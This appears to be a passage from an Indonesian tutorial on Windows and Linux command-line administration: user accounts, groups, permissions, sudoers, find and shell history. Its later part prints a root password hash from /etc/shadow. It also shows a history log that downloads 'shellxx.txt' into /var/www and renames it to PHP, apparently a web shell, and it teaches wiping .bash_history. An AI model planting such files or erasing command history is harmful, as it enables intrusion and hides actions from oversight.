cmd.exe                      2824 Console                    1      2,228 K
conhost.exe                  5872 Console                    1      4,900 K
mspaint.exe                   432 Console                    1     68,636 K
dllhost.exe                  5072 Console                    1      6,576 K
svchost.exe                   360 Services                   0     11,476 K
WmiPrvSE.exe                 5448 Services                   0      4,668 K
WUDFHost.exe                 1120 Services                   0      7,584 K
calc.exe                     4636 Console                    1     10,220 K
tasklist.exe                 6008 Console                    1      4,660 K

C:\Windows\system32>taskkill /pid 4636
SUCCESS: Sent termination signal to the process with PID 4636.

C:\Windows\system32>
```

taskkill /pid 4636

Managemen User

```
Administrator: Command Prompt
C:\Windows\system32>net user

User accounts for \\DATA

-------------------------------------------------------------------------------
Administrator            Guest                    kurniawan
The command completed successfully.


C:\Windows\system32>net user tukang Baseball2 /add
The command completed successfully.


C:\Windows\system32>net user

User accounts for \\DATA

-------------------------------------------------------------------------------
Administrator            Guest                    kurniawan
tukang
The command completed successfully.


C:\Windows\system32>
```

Membuat user baru : net user tukang Baseball2 /add

```
C:\Windows\system32>net user tukang Baseball3
The command completed successfully.
```

Mengganti password : net user tukang Baseball3

```
C:\Windows\system32>net localgroup administrators tukang /add
The command completed successfully.

C:\Windows\system32>
```

Menjadikan user menjadi admin : net localgroup administrators tukang /add

```
C:\Windows\system32>net localgroup administrators tukang /delete
The command completed successfully.
```

Jika ingin menghapus akses administrator : net localgroup administrators tukang /delete

Menghapus akses admin pada user : net localgroup administrators tukang /delete

```
C:\Windows\system32>net user tukang /del
The command completed successfully.

C:\Windows\system32>
```

Menghapus user : net user tukang /del

```
C:\Windows\system32>net user

User accounts for \\DATA

-------------------------------------------------------------------------------
Administrator            Guest                    kurniawan
The command completed successfully.

C:\Windows\system32>
```

Melihat daftar user : net user

Bab 4

Linux

Linux (diucapkan ˈlɪnəks atau /ˈlɪnʊks/) adalah nama yang diberikan kepada sistem operasi komputer bertipe Unix. Linux merupakan salah satu contoh hasil pengembangan perangkat lunak bebas dan sumber terbuka utama. Seperti perangkat lunak bebas dan sumber terbuka lainnya pada umumnya, kode sumber Linux dapat dimodifikasi, digunakan dan didistribusikan kembali secara bebas oleh siapa saja.

Nama "Linux" berasal dari nama pembuatnya, yang diperkenalkan tahun 1991 oleh Linus Torvalds. Sistemnya, peralatan sistem dan pustakanya umumnya berasal dari sistem operasi GNU, yang diumumkan tahun 1983 oleh Richard Stallman. Kontribusi GNU adalah dasar dari munculnya nama alternatif GNU/Linux.

Linux telah lama dikenal untuk penggunaannya di server, dan didukung oleh perusahaan-perusahaan komputer ternama seperti Intel, Dell, Hewlett-Packard, IBM, Novell, Oracle Corporation, Red Hat, dan Sun Microsystems. Linux digunakan sebagai sistem operasi di berbagai macam jenis perangkat keras komputer, termasuk komputer desktop, superkomputer,, dan sistem benam seperti pembaca buku elektronik, sistem permainan video (PlayStation 2, PlayStation 3 dan XBox[5]), telepon genggam dan router. Para pengamat teknologi informatika beranggapan kesuksesan Linux dikarenakan Linux tidak bergantung kepada vendor (vendor independence), biaya operasional yang rendah, dan kompatibilitas yang tinggi dibandingkan versi UNIX tak bebas, serta faktor keamanan dan kestabilannya yang tinggi dibandingkan dengan sistem operasi lainnya seperti Microsoft Windows. Ciri-ciri ini juga menjadi bukti atas keunggulan model pengembangan perangkat lunak sumber terbuka (opensource software).

Sistem operasi Linux yang dikenal dengan istilah distribusi Linux (Linux distribution) atau distro Linux umumnya sudah termasuk perangkat-perangkat lunak pendukung seperti server web, bahasa pemrograman, basisdata, tampilan desktop (desktop environment) seperti GNOME,KDE dan Xfce juga memiliki paket aplikasi perkantoran (office suite) seperti OpenOffice.org, KOffice, Abiword, Gnumeric dan LibreOffice.

Sumber : https://id.wikipedia.org/wiki/Sistem_operasi_bertipe_Unix

Sistem operasi bertipe Unix (Inggris: Unix-like) adalah sistem operasi yang memiliki cara kerja mirip Unix walaupun tidak selalu berspesifikasi Single UNIX Specification. Istilah ini juga termasuk sistem operasi bebas/sumber terbuka yang diinspirasi oleh Unix Bell Labs atau yang didesain untuk mengemulasikan beberapa fiturnya, perangkat lunak tak bebas yang komersial, dan versi yang berbasis kode sumber Unix yang berlisensi. Walaupun demikian tidak ada definisi formal standar untuk istilah ini.

https://id.wikipedia.org/wiki/Sistem_operasi_bertipe_Unix

Ubuntu (/iconʊˈbʊntuː/) merupakan salah satu distribusi Linux yang berbasiskan Debian dan didistribusikan sebagai perangkat lunak bebas. Nama Ubuntu berasal dari filosofi dari Afrika Selatan yang berarti "kemanusiaan kepada sesama". Ubuntu dirancang untuk kepentingan penggunaan pribadi, namun versi server Ubuntu juga tersedia, dan telah dipakai secara luas.

Proyek Ubuntu resmi disponsori oleh Canonical Ltd. yang merupakan sebuah perusahaan yang dimiliki oleh pengusaha Afrika Selatan Mark Shuttleworth. Tujuan dari distribusi Linux Ubuntu adalah membawa semangat yang terkandung di dalam filosofi Ubuntu ke dalam dunia perangkat lunak. Ubuntu adalah sistem operasi

lengkap berbasis Linux, tersedia secara bebas, dan mempunyai dukungan baik yang berasal dari komunitas maupun tenaga ahli profesional.

Sumber : https://id.wikipedia.org/wiki/Ubuntu

Kali Linux adalah salah satu distribusi Linux tingkat lanjut untuk Penetration Testing dan audit keamanan.

Sumber : http://id.docs.kali.org/introduction-id/apa-itu-kali-linux

4.1 Terminal

Terminal adalah aplikasi yang berbasis TUI (Text User Interface), pada setiap perintah yang akan dijalankan harus di masukkan melalui keyboard oleh si pengguna.

Sebelum latihan buat file bakso, esteh dan nasi goreng

Bisa dengan cara ketik

touch bakso

touch esteh

touch nasigoreng

Juga jangan lupa membuat direktori komputer dan speaker

Bisa dengan cara ketik

mkdir komputer

mkdir speaker

```
root@dhcppc4:/home/belajar# ls -l
total 20
-rw-r--r-- 1 root root    8 Oct  9 21:16 bakso
-rw-r--r-- 1 root root   13 Oct  9 21:16 esteh
drwxr-xr-x 2 root root 4096 Oct  9 21:16 komputer
-rw-r--r-- 1 root root    6 Oct  9 21:16 nasigoreng
drwxr-xr-x 2 root root 4096 Oct  9 21:17 speaker
```

Perintah untuk menampilkan semua file dalam direktori dengan format panjang : ls -l

```
root@dhcppc4:/home/belajar# ls -l
total 16
-rw-r--r-- 1 root root   13 Oct  9 21:16 esteh
drwxr-xr-x 2 root root 4096 Oct  9 21:16 komputer
-rw-r--r-- 1 root root    6 Oct  9 21:16 nasigoreng
drwxr-xr-x 2 root root 4096 Oct  9 21:17 speaker
root@dhcppc4:/home/belajar# mkdir router
root@dhcppc4:/home/belajar# ls -l
total 20
-rw-r--r-- 1 root root   13 Oct  9 21:16 esteh
drwxr-xr-x 2 root root 4096 Oct  9 21:16 komputer
-rw-r--r-- 1 root root    6 Oct  9 21:16 nasigoreng
drwxr-xr-x 2 root root 4096 Oct  9 21:20 router
drwxr-xr-x 2 root root 4096 Oct  9 21:17 speaker
root@dhcppc4:/home/belajar# rmdir router
root@dhcppc4:/home/belajar# ls -l
total 16
-rw-r--r-- 1 root root   13 Oct  9 21:16 esteh
drwxr-xr-x 2 root root 4096 Oct  9 21:16 komputer
-rw-r--r-- 1 root root    6 Oct  9 21:16 nasigoreng
drwxr-xr-x 2 root root 4096 Oct  9 21:17 speaker
root@dhcppc4:/home/belajar#
```

Perintah untuk membuat directory adalah mkdir (nama direktori)

```
root@dhcppc4:/home/belajar# ls -l
total 20
-rw-r--r-- 1 root root    8 Oct  9 21:16 bakso
-rw-r--r-- 1 root root   13 Oct  9 21:16 esteh
drwxr-xr-x 2 root root 4096 Oct  9 21:16 komputer
-rw-r--r-- 1 root root    6 Oct  9 21:16 nasigoreng
drwxr-xr-x 2 root root 4096 Oct  9 21:17 speaker
root@dhcppc4:/home/belajar# rm bakso
root@dhcppc4:/home/belajar# ls -l
total 16
-rw-r--r-- 1 root root   13 Oct  9 21:16 esteh
drwxr-xr-x 2 root root 4096 Oct  9 21:16 komputer
-rw-r--r-- 1 root root    6 Oct  9 21:16 nasigoreng
drwxr-xr-x 2 root root 4096 Oct  9 21:17 speaker
root@dhcppc4:/home/belajar#
```

Perintah untuk menghapus suatu directory dengan kriteria direktori harus kosong : rmdir (nama direktori)

```
root@dhcppc4:/home/belajar# ls
esteh  komputer  nasigoreng  speaker
root@dhcppc4:/home/belajar# ls -l
total 16
-rw-r--r-- 1 root root   13 Oct  9 21:16 esteh
drwxr-xr-x 2 root root 4096 Oct  9 21:16 komputer
-rw-r--r-- 1 root root    6 Oct  9 21:16 nasigoreng
drwxr-xr-x 2 root root 4096 Oct  9 21:17 speaker
root@dhcppc4:/home/belajar# mkdir router
root@dhcppc4:/home/belajar# cd router
root@dhcppc4:/home/belajar/router# touch data
root@dhcppc4:/home/belajar/router# cd ..
root@dhcppc4:/home/belajar# rmdir router
rmdir: failed to remove `router': Directory not empty
root@dhcppc4:/home/belajar# ls -l
total 20
-rw-r--r-- 1 root root   13 Oct  9 21:16 esteh
drwxr-xr-x 2 root root 4096 Oct  9 21:16 komputer
-rw-r--r-- 1 root root    6 Oct  9 21:16 nasigoreng
drwxr-xr-x 2 root root 4096 Oct  9 21:28 router
drwxr-xr-x 2 root root 4096 Oct  9 21:17 speaker
root@dhcppc4:/home/belajar# rm -r router
root@dhcppc4:/home/belajar# ls -l
total 16
-rw-r--r-- 1 root root   13 Oct  9 21:16 esteh
drwxr-xr-x 2 root root 4096 Oct  9 21:16 komputer
-rw-r--r-- 1 root root    6 Oct  9 21:16 nasigoreng
drwxr-xr-x 2 root root 4096 Oct  9 21:17 speaker
root@dhcppc4:/home/belajar#
```

Perintah untuk menghapus suatu directory beserta isinya adalah rm -r
Perintah untuk masuk ke dalam suatu directory dengan catatan untuk di bawahnya adalah cd (nama direktori)

```
root@dhcppc4:/home/belajar# pwd
/home/belajar
root@dhcppc4:/home/belajar# cd /etc
root@dhcppc4:/etc# pwd
/etc
root@dhcppc4:/etc# cd /home/belajar
root@dhcppc4:/home/belajar# pwd
/home/belajar
root@dhcppc4:/home/belajar#
```

Perintah untuk masuk ke dalam suatu directory secara bebas adalah cd /(nama direktori)

```
root@dhcppc4:/home/belajar# cd ..
root@dhcppc4:/home# mkdir kotak
root@dhcppc4:/home# cd belajar
root@dhcppc4:/home/belajar# ls
esteh  komputer  nasigoreng  speaker
root@dhcppc4:/home/belajar# cp -r * /home/kotak
root@dhcppc4:/home/belajar# cd /home/kotak
root@dhcppc4:/home/kotak# ls
esteh  komputer  nasigoreng  speaker
root@dhcppc4:/home/kotak#
```

Perintah untuk melakukan copy folder beserta file-nya : cp -r :

```
root@dhcppc4:/home/belajar# ls
esteh  komputer  nasigoreng  speaker
root@dhcppc4:/home/belajar# cd ..
root@dhcppc4:/home# mkdir lingkaran
root@dhcppc4:/home# cd belajar
root@dhcppc4:/home/belajar# cp * /home/lingkaran
cp: omitting directory `komputer'
cp: omitting directory `speaker'
root@dhcppc4:/home/belajar# cd ..
root@dhcppc4:/home# cd lingkaran
root@dhcppc4:/home/lingkaran# ls
esteh  nasigoreng
root@dhcppc4:/home/lingkaran#
```

Perintah untuk meng-copy, jika tanpa tambahan -r maka hanya file saja

```
root@dhcppc4:/home/belajar# ls -l
total 16
-rw-r--r-- 1 root root   13 Oct  9 21:16 esteh
drwxr-xr-x 2 root root 4096 Oct  9 21:16 komputer
-rw-r--r-- 1 root root    6 Oct  9 21:16 nasigoreng
drwxr-xr-x 2 root root 4096 Oct  9 21:17 speaker
root@dhcppc4:/home/belajar# mv nasigoreng miegoreng
root@dhcppc4:/home/belajar# ls -l
total 16
-rw-r--r-- 1 root root   13 Oct  9 21:16 esteh
drwxr-xr-x 2 root root 4096 Oct  9 21:16 komputer
-rw-r--r-- 1 root root    6 Oct  9 21:16 miegoreng
drwxr-xr-x 2 root root 4096 Oct  9 21:17 speaker
root@dhcppc4:/home/belajar# mv miegoreng komputer
root@dhcppc4:/home/belajar# ls -l
total 12
-rw-r--r-- 1 root root   13 Oct  9 21:16 esteh
drwxr-xr-x 2 root root 4096 Oct  9 21:34 komputer
drwxr-xr-x 2 root root 4096 Oct  9 21:17 speaker
root@dhcppc4:/home/belajar# cd komputer
root@dhcppc4:/home/belajar/komputer# ls -l
total 4
-rw-r--r-- 1 root root 6 Oct  9 21:16 miegoreng
root@dhcppc4:/home/belajar/komputer#
```

Perintah untuk melakukan rename file. (mv nama file lama nama file baru)
Perintah untuk memindah. (mv namafile folder)

```
root@dhcppc4:/home/belajar# ls -l
total 12
-rw-r--r-- 1 root root   13 Oct  9 21:16 esteh
drwxr-xr-x 2 root root 4096 Oct  9 21:34 komputer
drwxr-xr-x 2 root root 4096 Oct  9 21:17 speaker
root@dhcppc4:/home/belajar# nano musik
```

```
Applications  Places                                   Sun Oct 9, 9:44 PM
                                          root@dhcppc4: /home/belajar
File  Edit  View  Search  Terminal  Help
  GNU nano 2.2.6                                File: musik

doremi
```

Ctrl + x lalu y lalu enter

```
root@dhcppc4:/home/belajar# nano musik
root@dhcppc4:/home/belajar# ls -l
total 16
-rw-r--r-- 1 root root   13 Oct  9 21:16 esteh
drwxr-xr-x 2 root root 4096 Oct  9 21:34 komputer
-rw-r--r-- 1 root root    7 Oct  9 21:48 musik
drwxr-xr-x 2 root root 4096 Oct  9 21:17 speaker
root@dhcppc4:/home/belajar# cat musik
doremi
root@dhcppc4:/home/belajar#
```

Perintah untuk menampilkan isi file : cat (nama file)

```
-rw-r--r-- 1 root root    7 Oct  9 21:48 musik
drwxr-xr-x 2 root root 4096 Oct  9 21:17 speaker
root@dhcppc4:/home/belajar# alias tampilkan="ls -l"
root@dhcppc4:/home/belajar# tampilkan
total 16
-rw-r--r-- 1 root root   13 Oct  9 21:16 esteh
drwxr-xr-x 2 root root 4096 Oct  9 21:34 komputer
-rw-r--r-- 1 root root    7 Oct  9 21:48 musik
drwxr-xr-x 2 root root 4096 Oct  9 21:17 speaker
root@dhcppc4:/home/belajar# unalias tampilkan
root@dhcppc4:/home/belajar# tampilkan
bash: tampilkan: command not found
root@dhcppc4:/home/belajar#
```

Perintah untuk memberi nama lain dari sebuah perintah : alias

Perintah yang merupakan kebalikan dari perintah alias, di mana perintah ini akan membatalkan sebuah alias adalah unalias

Untuk melihat proses ps aux

Jika ingin mematikan proses dengan kill (nomor ip)

4.2 Managemen user & group

Pengaturan user dan group di linux akan membuat lebih mudah dalam membagi setiap akun user dam kiga tiap-tiap grup dalamm engatur hak kepemilikan file.

```
ot@dhcppc4:/home/belajar# ls -l
tal 16
w-r--r-- 1 root root   13 Oct  9 21:16 esteh
wxr-xr-x 2 root root 4096 Oct  9 21:34 komputer
w-r--r-- 1 root root    7 Oct  9 21:48 musik
wxr-xr-x 2 root root 4096 Oct  9 21:17 speaker
ot@dhcppc4:/home/belajar# useradd -m soto
ot@dhcppc4:/home/belajar# passwd soto
ter new UNIX password:
type new UNIX password:
sswd: password updated successfully
ot@dhcppc4:/home/belajar# useradd -m esbuah
ot@dhcppc4:/home/belajar# passwd esbuah
ter new UNIX password:
type new UNIX password:
sswd: password updated successfully
ot@dhcppc4:/home/belajar# groupadd minuman
ot@dhcppc4:/home/belajar# usermod -G minuman esbuah
ot@dhcppc4:/home/belajar# chown soto.minuman esteh
ot@dhcppc4:/home/belajar# ls -l
tal 16
w-r--r-- 1 soto minuman   13 Oct  9 21:16 esteh
wxr-xr-x 2 root root    4096 Oct  9 21:34 komputer
w-r--r-- 1 root root       7 Oct  9 21:48 musik
wxr-xr-x 2 root root    4096 Oct  9 21:17 speaker
ot@dhcppc4:/home/belajar#
```

Menambah user dengan useradd

Memberikan password pada user passwd

Cara menambah group baru dengan groupadd

Cara memasukkan user dalam group dengan Usermod

Mengganti kepemilikan user (Owner) dan Group dengan chown

```
ot@dhcppc4:/home/belajar# groupadd kelompok
ot@dhcppc4:/home/belajar# ls -l
tal 16
w-r--r-- 1 soto minuman   13 Oct  9 21:16 esteh
wxr-xr-x 2 root root    4096 Oct  9 21:34 komputer
w-r--r-- 1 root root       7 Oct  9 21:48 musik
wxr-xr-x 2 root root    4096 Oct  9 21:17 speaker
ot@dhcppc4:/home/belajar# chgrp kelompok esteh
ot@dhcppc4:/home/belajar# ls -l
tal 16
w-r--r-- 1 soto kelompok  13 Oct  9 21:16 esteh
wxr-xr-x 2 root root    4096 Oct  9 21:34 komputer
w-r--r-- 1 root root       7 Oct  9 21:48 musik
wxr-xr-x 2 root root    4096 Oct  9 21:17 speaker
ot@dhcppc4:/home/belajar#
```

Menggunakan chgrp untuk mengganti kepemilikan group

```
-rw-r--r-- 1 soto kelompok   13 Oct  9 21:16 esteh   File esteh
drwxr-xr-x 2 root root     4096 Oct  9 21:34 komputer   Direktori komputer
-rw-r--r-- 1 root root        7 Oct  9 21:48 musik
drwxr-xr-x 2 root root                      peaker
root@dhcppc4:/home/bela   root@dhcppc4: /home/belajar
```

Jika - seperti di atas adalah file

Jika d seperti di atas maka direktori

```
root@dhcppc4:/home/belajar# ls -l
total 16
-rw-r--r-- 1 soto kelompok   13 Oct  9 21:16 esteh
drwxr-xr-x 2 root root     4096 Oct  9 21:34 komputer
-rw-r--r-- 1 root root        7 Oct  9 21:48 musik
```

User

Group

-rw- r-- r--

User Group Other

Other : Selain user (owner) dan user yang bergabung dalam group

root@dhcppc4: ~ root@dhcppc4: /home...

Di atas untuk mengetahui kepemilikan dan hak aksesnya.

```
root@dhcppc4:/home/belajar# ls -l
total 16
-rw-r--r-- 1 soto kelompok   13 Oct  9 21:16 esteh
drwxr-xr-x 2 root root     4096 Oct  9 21:34 komputer
-rw-r--r-- 1 root root        7 Oct  9 21:48 musik
drwxr-xr-x 2 root root     4096 Oct  9 21:17 speaker
root@dhcppc4:/home/belajar#
```

File

Dalam direktori tidak ada direktori di atasnya

```
-rw-r--r-- 1 root root        7 Oct  9 21:48 musik
drwxr-xr-x 2 root root     4096 Oct  9 21:17 speaker
root@dhcppc4:/home/belajar# cd komputer
root@dhcppc4:/home/belajar/komputer# mkdir coba1
root@dhcppc4:/home/belajar/komputer# mkdir coba2
root@dhcppc4:/home/belajar/komputer# mkdir coba3
root@dhcppc4:/home/belajar/komputer# cd ..
root@dhcppc4:/home/belajar# ls -l
total 16
-rw-r--r-- 1 soto kelompok   13 Oct  9 21:16 esteh
drwxr-xr-x 5 root root     4096 Oct 10 19:19 komputer
-rw-r--r-- 1 root root        7 Oct  9 21:48 musik
drwxr-xr-x 2 root root     4096 Oct  9 21:17 speaker
root@dhcppc4:/home/belajar#
```

Untuk mengetahui di suatu direktori memiliki berapa direktori atasnya tepat.

Untuk kasus di atas 2+3=5. 2 sebagai penanda bahwa itu direktori dan 3 adalah jumlah direktori yang tepat di atasnya. Jika nilainya 2 maka direktorinya tidak memiliki direktori di atasnya.

```
drwxr-xr-x 2 root root     4096 Oct  9 21:17 speaker
root@dhcppc4:/home/belajar# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/g
```

```
kurniawan:x:1000:1000::/home/kurniawan:/bin/sh
gadis:x:1001:1001::/home/gadis:/bin/sh
perjaka:x:1002:1002::/home/perjaka:/bin/sh
paijo:x:1003:1004::/home/paijo:/bin/sh
painem:x:1004:1005::/home/painem:/bin/sh
paijem:x:1005:1006::/home/paijem:/bin/sh
gajelas:x:1006:1007::/home/gajelas:/bin/sh
songoku:x:1007:1008::/home/songoku:/bin/sh
yamcha:x:1008:1009::/home/yamcha:/bin/sh
yy:x:1009:1011::/home/yy:/bin/sh
kk:x:1010:1010::/home/kk:/bin/sh
paijo2:x:1011:1012::/home/paijo2:/bin/sh
paijo3:x:1012:1013::/home/paijo3:/bin/sh
painem2:x:1013:1014::/home/painem2:/bin/sh
paijo5:x:1014:1016::/home/paijo5:/bin/sh
andrea:x:1015:1017::/home/andrea:/bin/sh
nana:x:1016:1018::/home/nana:/bin/sh
pc:x:1017:1020::/home/pc:/bin/sh
```

Cara mengetahui user di linux.

```
root@dhcppc4:/home/belajar# cat /etc/group
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
```

```
esteh:x:1030:
soto:x:1031:
esbuah:x:1032:
minuman:x:1033:esbuah
kelompok:x:1034:
root@dhcppc4:/home/belajar#
```

Cara mengetahui user yang tergabung dalam group.

```
root@dhcppc4:/home/belajar# cat /etc/shadow
root:$6$37TDJSbI$vqJkUrB3KfdtKqnZKWcTFKT90YdDgdqgr2HCSuQraz50OjjF2vPa5M3R9PfxlTRv5kfUa.
99999:7:::
daemon:*:15775:0:99999:7:::
bin:*:15775:0:99999:7:::
sys:*:15775:0:99999:7:::
sync:*:15775:0:99999:7:::
```

Untuk mengetahui user dan password dalam bentuk hash.

Cara membuat suatu user menjadi administrator (memiliki akses root)

```
root@dhcppc4:/home/belajar# su soto
whoami
soto
sudo su

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for soto:
soto is not in the sudoers file.  This incident will be reported.
```

Didemokan bahwa user soto tidak memilki akses root (user biasa)

```
Administrator. It usually boils down to these three things

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for soto:
soto is not in the sudoers file.  This incident will be re
$ exit
root@dhcppc4:/home/belajar# nano /etc/sudoers
```

```
# User privilege specification
root    ALL=(ALL:ALL) ALL
kurniawan ALL=(ALL:ALL) ALL
songoku ALL=(ALL:ALL) ALL
yamcha ALL=(ALL:ALL) ALL
# Allow members of group sudo to execute any com
%sudo   ALL=(ALL:ALL) ALL
andrea ALL=(ALL:ALL) ALL
kurniawanaja ALL=(ALL:ALL) ALL
soto ALL=(ALL:ALL) ALL
```

Untuk menjadikannya administrator (memiliki akses root), caranya seperti di atas

```
root@dhcppc4:/home/belajar# nano /etc/sudoers
root@dhcppc4:/home/belajar# su soto
$ whoami
soto
$ sudo su
[sudo] password for soto:
root@dhcppc4:/home/belajar# whoami
root
root@dhcppc4:/home/belajar#
root@dhcppc4:/home/belajar#
root@dhcppc4: ~        root@dhcppc4: /home...
```

Pengujian akses root pada user soto.

Pengujian bahwa akses read tidak bisa write :

```
root@dhcppc4:/home/belajar# chgrp minuman esteh
root@dhcppc4:/home/belajar# ls -l
total 16
-rw-r--r-- 1 soto minuman   13 Oct  9 21:16 esteh
drwxr-xr-x 5 root root    4096 Oct 10 19:19 komputer
-rw-r--r-- 1 root root       7 Oct  9 21:48 musik
drwxr-xr-x 2 root root    4096 Oct  9 21:17 speaker
root@dhcppc4:/home/belajar# su esbuah
$ whoami
esbuah
$ nano esteh
root@dhcppc4: ~        root@dhcppc4: /home...
```

Akses esbuah (tergabung dalam group minuman) membuka file esteh dengan nano .

```
Applications  Places                                  Mon Oct 10
                                                  root@dhcppc4: /hom
File  Edit  View  Search  Terminal  Help
  GNU nano 2.2.6                                File: esteh

abcdefghijkl
```

```
                [ Read 1 line ( Warning: No write permission) ]
teOut        ^R Read File      ^Y Prev Page      ^K Cut Text
tify         ^W Where Is       ^V Next Page      ^U UnCut Text
```

Tidak bisa menulis karena aksesnya hanya read.

Menggunakan find

```
root@ubuntufresh:/# find . -name ponsel.txt
./home/ponsel.txt
```

find /home -name ponsel.txt

```
root@ubuntufresh:/# find /home -name ponsel.txt
/home/ponsel.txt
root@ubuntufresh:/#
```

find /home -name cari.txt

```
FIND(1)                    General Commands Manual                    FIND(1)

NAME
       find - search for files in a directory hierarchy

SYNOPSIS
       find [-H] [-L] [-P] [-D debugopts] [-Olevel] [path...] [expression]

DESCRIPTION
       This  manual page documents the GNU version of find.  GNU find searches
       the directory tree rooted at each given file  name  by  evaluating  the
       given  expression  from left to right, according to the rules of preceD
       dence (see section OPERATORS), until the outcome  is  known  (the  left
       hand  side  is  false  for and operations, true for or), at which point
       find moves on to the next file name.

       If you are using find in an environment  where  security  is  important
       (for  example  if  you  are  using  it  to  search directories that are
       writable by other users), you should read the "Security Considerations"
       chapter  of  the findutils documentation, which is called Finding Files
       and comes with findutils.  That document  also  includes  a  lot  more
       detail  and discussion than this manual page, so you may find it a more
       useful source of information.
 Manual page find(1) line 1 (press h for help or q to quit)
```

Untuk mengetahui option lebih banyak ketik man find lalu enter

Untuk prakteknya dapat masuk di https://candranapits.web.id/mencari-file-di-linux-dengan-perintah-find/

Mencari file dengan isi tertentu
Formatnya :
find /nama direktori -type f -name "*.nama ekstensi" -exec grep -l "isi content file" {} \;
Contoh

```
root@ubuntufresh:/# cd /home
root@ubuntufresh:/home# cat ponsel.txt
12345
```

Isi file ponsel.txt

```
root@ubuntufresh:/# find /home -type f -name "*.txt" -exec grep -l "12345" {} \;

/home/ponsel.txt
root@ubuntufresh:/#
```

find /home -type f -name "*.txt" -exec grep -l "12345" {} \;

Melihat file yang *hidden*

```
root@ubuntufresh:~# ls -al
total 40
drwx------  3 root root  4096 Jan 22 06:01 .
drwxr-xr-x 22 root root  4096 Sep 23 08:35 ..
-rw-------  1 root root 10411 Jan 22 06:16 .bash_history
-rw-r--r--  1 root root  3106 Oct 28  2012 .bashrc
drwx------  2 root root  4096 Jan 22 06:01 .cache
-rw-------  1 root root   554 Nov 24 07:26 .mysql_history
-rw-------  1 root root    57 Dec 20 13:09 .nano_history
-rw-r--r--  1 root root   140 Oct 28  2012 .profile
root@ubuntufresh:~# ls -l
total 0
root@ubuntufresh:~#
```

ls -l

```
root@ubuntufresh:~# nano .bash_history
```

nano .bash_history

```
  GNU nano 2.2.6              File: .bash_history

service ssh start
ifconfig
ls
cd ..
ls
wget http://192.168.1.9/kippo.zip
ls
shutdown -h now
iconfig
ifconfig
apt-get update
cd /etc
cd ap[t
cd apt
ls
nano sourceslist
nano sources.list
mv sources.list a
nano sources.list
apt-get update
cd /home
ls
wget http://192.168.1.9/mod_antiloris-0.4.tar
wget http://192.168.1.9/mod_antiloris-0.4.tar.gz
wget http://192.168.1.9/mod_antiloris-0.4.tar
```

Isi .bash_history

Melihat history

```
  868  ifconfig
  869  mv shellxx.txt shelxx.php
  870  wget http://192.168.1.9/cekdir.txt
  871  mv cekdir.txt cekdir.php
  872  php cekdir.php
  873  dir
  874  cat cekdir.php
  875  dir
  876  cd /home
  877  cp /var/www/cekdir.php /home
  878  su data
  879  ifconfig
  880  shutdown -h now
  881  ifconfig
  882  history
root@ubuntufresh:/home/data# history
```

Ketik history lalu enter

```
root@ubuntufresh:/home/data# history 5
  882  history
  883  ls
  884  ls -la
  885  cat .bash_history
  886  history 5
root@ubuntufresh:/home/data#
```

History untuk ditampilkan 5 baris

```
root@ubuntufresh:/home/data# ls -la
total 112176
drwxr-xr-x 3 data data     4096 Nov  2  2016 .
drwxr-xr-x 3 root root     4096 Aug 22 09:02 ..
-rw------- 1 data data      204 Aug 22 09:4 .bash_history
-rw-r--r-- 1 data data      220 Sep 23  2016 .bash_logout
-rw-r--r-- 1 data data     3637 Sep 23  2016 .bashrc
drwx------ 2 data data     4096 Sep 23  2016 .cache
-rw-r--r-- 1 root root 12179566 Nov  1  2016 linux-headers-3.8.13-03081328_3.8.1
3-03081328.201409030938_all.deb
-rw-r--r-- 1 root root   971064 Nov  1  2016 linux-headers-3.8.13-03081328-gener
ic_3.8.13-03081328.201409030938_i386.deb
-rw-r--r-- 1 root root 44358222 Nov  1  2016 linux-image-3.8.13-03081328-generic
_3.8.13-03081328.201409030938_i386.deb
-rw-r--r-- 1 data data      675 Sep 23  2016 .profile
-rw-r--r-- 1 root root 57322190 Nov  2  2016 updatekernel2.zip
root@ubuntufresh:/home/data#
```

Log .bash_history

```
root@ubuntufresh:/home/data# cat .bash_history
sudo su
sudo su
cd
cd /var
ls
cd www
sudo su
ifconfig
shutdown -h now
sudo su
ifconfig
shutdown -h now
sudo su
sudi su
sudo su
php cekdir.php
ls
rm cekdir.php
ls
php cekdir.php
ping 192.168.1.102
sudo su
root@ubuntufresh:/home/data#
```

Isi .bash_history di /home/data

```
cd rules.d/
ls
nano 70-persistent-net.rules
reboot
shutdown -h now
ifconfig
shutdown -h now
ifconfig eth0 192.168.1.102
ifcon
shutdown -s -t 0
shutdown -h now
ifconfig
cd /var/www
ls
wget http://192.168.1.9/shellxx.txt
mv shellxx.txt shelxx.php
ifconfig
mv shellxx.txt shelxx.php
wget http://192.168.1.9/cekdir.txt
mv cekdir.txt cekdir.php
php cekdir.php
dir
cat cekdir.php
dir
cd /home
cp /var/www/cekdir.php /home
su data
ifconfig
shutdown -h now
root@ubuntufresh:~# cat .bash_history
```

Melihat .bash_history di /root

```
root@ubuntufresh:~# rm ~/.bash_history && history -c
```

Menghapus history

```
uucp                                    **Never logged in**
proxy                                   **Never logged in**
www-data                                **Never logged in**
backup                                  **Never logged in**
list                                    **Never logged in**
irc                                     **Never logged in**
gnats                                   **Never logged in**
nobody                                  **Never logged in**
libuuid                                 **Never logged in**
syslog                                  **Never logged in**
mysql                                   **Never logged in**
messagebus                              **Never logged in**
whoopsie                                **Never logged in**
bind                                    **Never logged in**
landscape                               **Never logged in**
